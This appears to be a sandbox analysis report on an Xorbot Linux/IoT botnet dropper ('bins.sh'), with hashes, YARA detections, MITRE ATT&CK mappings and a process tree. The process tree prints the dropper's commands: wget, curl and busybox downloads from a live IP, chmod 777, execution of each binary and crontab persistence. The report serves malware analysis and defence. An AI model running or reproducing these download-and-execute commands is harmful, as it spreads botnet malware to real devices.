xorbot | 512c85432f47149b04a2620dea12b2520857884e398b886d768468a16ced73d5

Analysis

max time kernel
123s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20240418-en
resource tags

arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
28/02/2025, 19:22

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General

Target

bins.sh
Size

10KB
MD5

1f4d23e931eb2509fb595dbf127fdfe2
SHA1

bde31e4db33a17ed1e37364a26242e12f6b0bbbb
SHA256

512c85432f47149b04a2620dea12b2520857884e398b886d768468a16ced73d5
SHA512

b1ddd776c1e3cfd5d8de54ee3a1feece060b29b1db408fdefe679d1e37d41c4c21a7e7beb9b97f34552e7d03add2b35999311a50d8d50f10a1312fbcba7cfaf3
SSDEEP

192:1N5dmvfK3Q3k3x3+3e3rzHkJpgD5B5Z5uFpYFwIva22k0iOaQCTjPLaL2Lzm+zw+:1N5dmvfK3Q3k3x3+3e3rzHkJpgDf7JFJ

Score

10^/10

xorbot botnet defense_evasion discovery execution persistence privilege_escalation trojan

Malware Config

Signatures

Detects Xorbot 6 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-5.dat	family_xorbot
behavioral4/files/fstream-7.dat	family_xorbot
behavioral4/files/fstream-9.dat	family_xorbot
behavioral4/files/fstream-11.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (895) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 8 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
853	chmod
860	chmod
732	chmod
740	chmod
749	chmod
772	chmod
803	chmod
843	chmod

Executes dropped EXE 8 IoCs

ioc	pid	Process
/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	733	bins.sh
/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	741	bins.sh
/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	750	bins.sh
/tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki	774	bins.sh
/tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr	804	bins.sh
/tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX	844	bins.sh
/tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA	854	bins.sh
/tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q	861	bins.sh

Renames itself 1 IoCs

pid	Process
862	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.xE7SOW	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/70/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/699/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/968/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/979/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/990/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/1048/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/974/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/24/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/36/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/929/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/984/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/939/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/945/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/1025/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/1056/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/318/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/1008/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/1014/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/1020/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/1047/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/925/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/1041/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/1060/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/911/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/950/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/992/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/1015/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/1034/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/892/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/944/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/947/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/975/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/1026/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/1043/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/3/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/149/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/877/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/931/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/908/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/943/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/874/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/77/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/701/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/875/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/891/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/936/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/956/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/1045/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/879/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/976/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/1035/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/72/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/872/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/17/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/71/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/876/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/897/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/898/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/953/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/1027/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/15/cmdline	y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
778	wget
784	curl
799	busybox
804	z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
807	rm

Writes file to tmp directory 24 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	wget
File opened for modification	/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	curl
File opened for modification	/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	wget
File opened for modification	/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	busybox
File opened for modification	/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	wget
File opened for modification	/tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki	wget
File opened for modification	/tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr	wget
File opened for modification	/tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr	busybox
File opened for modification	/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	busybox
File opened for modification	/tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki	curl
File opened for modification	/tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki	busybox
File opened for modification	/tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr	curl
File opened for modification	/tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX	curl
File opened for modification	/tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX	busybox
File opened for modification	/tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA	wget
File opened for modification	/tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA	busybox
File opened for modification	/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G	busybox
File opened for modification	/tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA	curl
File opened for modification	/tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q	wget
File opened for modification	/tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q	curl
File opened for modification	/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv	curl
File opened for modification	/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E	curl
File opened for modification	/tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX	wget
File opened for modification	/tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:701
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:703
- /usr/bin/wget
  wget http://37.44.238.88/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - Writes file to tmp directory
  PID:705
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - Writes file to tmp directory
  PID:723
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - Writes file to tmp directory
  PID:730
- /bin/chmod
  chmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  - File and Directory Permissions Modification
  PID:732
- /tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  ./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  PID:733
- /bin/rm
  rm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G
  2⤵
  PID:735
- /usr/bin/wget
  wget http://37.44.238.88/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - Writes file to tmp directory
  PID:737
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - Writes file to tmp directory
  PID:739
- /bin/chmod
  chmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  ./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  PID:741
- /bin/rm
  rm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv
  2⤵
  PID:743
- /usr/bin/wget
  wget http://37.44.238.88/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - Writes file to tmp directory
  PID:744
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - Writes file to tmp directory
  PID:745
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - Writes file to tmp directory
  PID:746
- /bin/chmod
  chmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  ./l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  PID:750
- /bin/rm
  rm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E
  2⤵
  PID:753
- /usr/bin/wget
  wget http://37.44.238.88/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  - Writes file to tmp directory
  PID:755
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  - Writes file to tmp directory
  PID:761
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  - Writes file to tmp directory
  PID:770
- /bin/chmod
  chmod 777 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  - File and Directory Permissions Modification
  PID:772
- /tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  ./1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  PID:774
- /bin/rm
  rm 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki
  2⤵
  PID:777
- /usr/bin/wget
  wget http://37.44.238.88/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:778
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:784
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:799
- /bin/chmod
  chmod 777 z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
  ./z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
  2⤵
  - System Network Configuration Discovery
  PID:804
- /bin/rm
  rm z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr
  2⤵
  - System Network Configuration Discovery
  PID:807
- /usr/bin/wget
  wget http://37.44.238.88/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
  2⤵
  - Writes file to tmp directory
  PID:808
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:841
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
  2⤵
  - Writes file to tmp directory
  PID:842
- /bin/chmod
  chmod 777 kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
  2⤵
  - File and Directory Permissions Modification
  PID:843
- /tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
  ./kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
  2⤵
  PID:844
- /bin/rm
  rm kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX
  2⤵
  PID:849
- /usr/bin/wget
  wget http://37.44.238.88/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
  2⤵
  - Writes file to tmp directory
  PID:850
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
  2⤵
  - Writes file to tmp directory
  PID:851
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
  2⤵
  - Writes file to tmp directory
  PID:852
- /bin/chmod
  chmod 777 MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
  2⤵
  - File and Directory Permissions Modification
  PID:853
- /tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
  ./MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
  2⤵
  PID:854
- /bin/rm
  rm MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA
  2⤵
  PID:856
- /usr/bin/wget
  wget http://37.44.238.88/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
  2⤵
  - Writes file to tmp directory
  PID:857
- /usr/bin/curl
  curl -O http://37.44.238.88/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:858
- /bin/busybox
  /bin/busybox wget http://37.44.238.88/bins/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
  2⤵
  - Writes file to tmp directory
  PID:859
- /bin/chmod
  chmod 777 y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
  ./y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
  2⤵
  - Renames itself
  - Reads runtime system information
  PID:861
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:863
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:864
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:865
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:866
- /bin/rm
  rm y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q
  2⤵
  PID:868
- /usr/bin/wget
  wget http://37.44.238.88/bins/wk7VTKwCVeEQJUdhBBXEYBpypx8AKzXuTR
  2⤵
  PID:871

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/MDukejRpEVRJtAF8qJOUHxMH7xLDBBSPzA

Filesize
151KB

MD5
3c90d5820bddcf7c5d1bd21dfa49d958

SHA1
5ba05bd489e50af97d6dc45e3a0be60e494d5083

SHA256
bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

SHA512
54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

Download Submit
/tmp/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/y4cOM46uRtKFAfg7vowXnJ6sPSo9YtWU4q

Filesize
151KB

MD5
6c583043d91c55aa470c08c87058e917

SHA1
abf65a5b9bba69980278ad09356e53de8bb89439

SHA256
2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

SHA512
82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

Download Submit
/tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr

Filesize
141KB

MD5
3ca8decdb1e52c423c521bfff02ac200

SHA1
8621ecd6807109b8541912ad9e134f6fb49bfd48

SHA256
dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

SHA512
b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

Download Submit
/var/spool/cron/crontabs/tmp.xE7SOW

Filesize
210B

MD5
e4bd55f250d64bf30a98d05bfd719980

SHA1
f2e9c2e9683b6dc120b68b2cd6dfd35472fb94b0

SHA256
f23b6c449eec78de5a5f3e2b8fa5dca4862d73f8a619f684482b78a5ff3960da

SHA512
7c850b4ee3f79b7505aa3eb683129187a602391565b00fa137463da9c29f30f69a48f11a2d5afe89f249e537ff161650d35d742c7556160534f0b8ac630dbc54

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads